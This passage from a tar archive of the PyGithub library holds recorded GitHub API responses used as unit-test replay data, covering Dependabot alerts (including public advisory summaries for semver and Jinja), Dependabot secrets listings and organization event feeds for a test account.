are/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":1,"state":"auto_dismissed","dependency":{"package":{"ecosystem":"npm","name":"semver"},"manifest_path":"default-assets-package/package-lock.json","scope":"development"},"security_advisory":{"ghsa_id":"GHSA-c2qf-rxjj-qqgw","cve_id":"CVE-2022-25883","summary":"semver vulnerable to Regular Expression Denial of Service","description":"Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.","severity":"medium","identifiers":[{"value":"GHSA-c2qf-rxjj-qqgw","type":"GHSA"},{"value":"CVE-2022-25883","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25883"},{"url":"https://github.com/npm/node-semver/pull/564"},{"url":"https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"},{"url":"https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795"},{"url":"https://github.com/npm/node-semver/blob/main/classes/range.js#L97-L104"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L138"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L160"},{"url":"https://github.com/npm/node-semver/pull/585"},{"url":"https://github.com/npm/node-semver/commit/928e56d21150da0413a3333a3148b20e741a920c"},{"url":"https://github.com/npm/node-semver/pull/593"},{"url":"https://github.com/npm/node-semver/commit/2f8fd41487acf380194579ecb6f8b1bbfe116be0"},{"url":"https://github.com/advisories/GHSA-c2qf-rxjj-qqgw"}],"published_at":"2023-06-21T06:30:28Z","updated_at":"2024-01-08T20:36:49Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 7.0.0, < 7.5.2","first_patched_version":{"identifier":"7.5.2"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/1","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/1","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":"2024-01-21T01:29:52Z","repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetDependabotAlertsWithAllArguments.txt0000644000175100001660000002111514756101563031315 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/dependabot/alerts?state=open&severity=medium&ecosystem=pip&package=jinja2&scope=runtime&sort=updated&direction=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:09:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"59496dc4695fd05bf1e3a94ee96f88cfc0032564f7f90082100f695ded81481c"'), ('Last-Modified', 'Sun, 21 Jan 2024 01:41:18 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo, security_events'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '98DA:104B:433D86:8E6CA0:65AC8B02')] [{"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/BeaverSoftware/PyGithub/dependabot/alerts/1","html_url":"https://github.com/BeaverSoftware/PyGithub/security/dependabot/1","created_at":"2024-01-21T01:41:18Z","updated_at":"2024-01-21T01:41:18Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":746080753,"node_id":"R_kgDOLHhJ8Q","name":"PyGithub","full_name":"BeaverSoftware/PyGithub","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/PyGithub","forks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/deployments"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetDependabotSecrets.txt0000644000175100001660000000136614756101563026326 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/dependabot/secrets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count": 1, "secrets": [{"name": "secret-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/dependabot/secrets/secret-name/repositories"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetEvents.txt0000644000175100001660000007507014756101563024177 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '30164'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4976'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"50c3892fcab2acf668d9b89d97865983"'), ('link', '; rel="next"'), ('date', 'Sun, 27 May 2012 05:13:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":null},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/CreatedByPyGithub","name":"BeaverSoftware/CreatedByPyGithub","id":3616888},"created_at":"2012-03-04T08:17:15Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526182616"},{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":null},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/CreatedByPyGithub","name":"BeaverSoftware/CreatedByPyGithub","id":3610173},"created_at":"2012-03-03T11:16:34Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526021988"},{"payload":{"push_id":65381113,"ref":"refs/heads/master","commits":[{"sha":"390bcc2b855d419e9fd6727049aa9217db56a06a","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/390bcc2b855d419e9fd6727049aa9217db56a06a","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":true}],"head":"390bcc2b855d419e9fd6727049aa9217db56a06a","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:57:40Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526010140"},{"payload":{"push_id":65381112,"ref":"refs/heads/previous_master","commits":[{"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":false},{"sha":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/1c29d761d3e929afcbf8c6cc44b8181068d2d974","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":false}],"head":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","size":2},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:57:39Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526010139"},{"payload":{"ref":"previous_master","ref_type":"branch"},"type":"DeleteEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:56:56Z","public":true,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":"1526010100"},{"payload":{"ref":"tagCreatedByPyGithub","ref_type":"tag"},"type":"DeleteEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:54:25Z","public":true,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":"1526009934"},{"payload":{"push_id":65380919,"ref":"refs/heads/master","commits":[{"sha":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/1c29d761d3e929afcbf8c6cc44b8181068d2d974","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":true}],"head":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:52:06Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526009779"},{"payload":{"push_id":65380918,"ref":"refs/heads/previous_master","commits":[{"sha":"2f51005d80353b3b82cc23908ea4fc7a91230e2f","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/2f51005d80353b3b82cc23908ea4fc7a91230e2f","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":false},{"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":false}],"head":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","size":2},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:52:04Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526009777"},{"payload":{"ref":"tag_1330764175","ref_type":"tag"},"type":"DeleteEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266",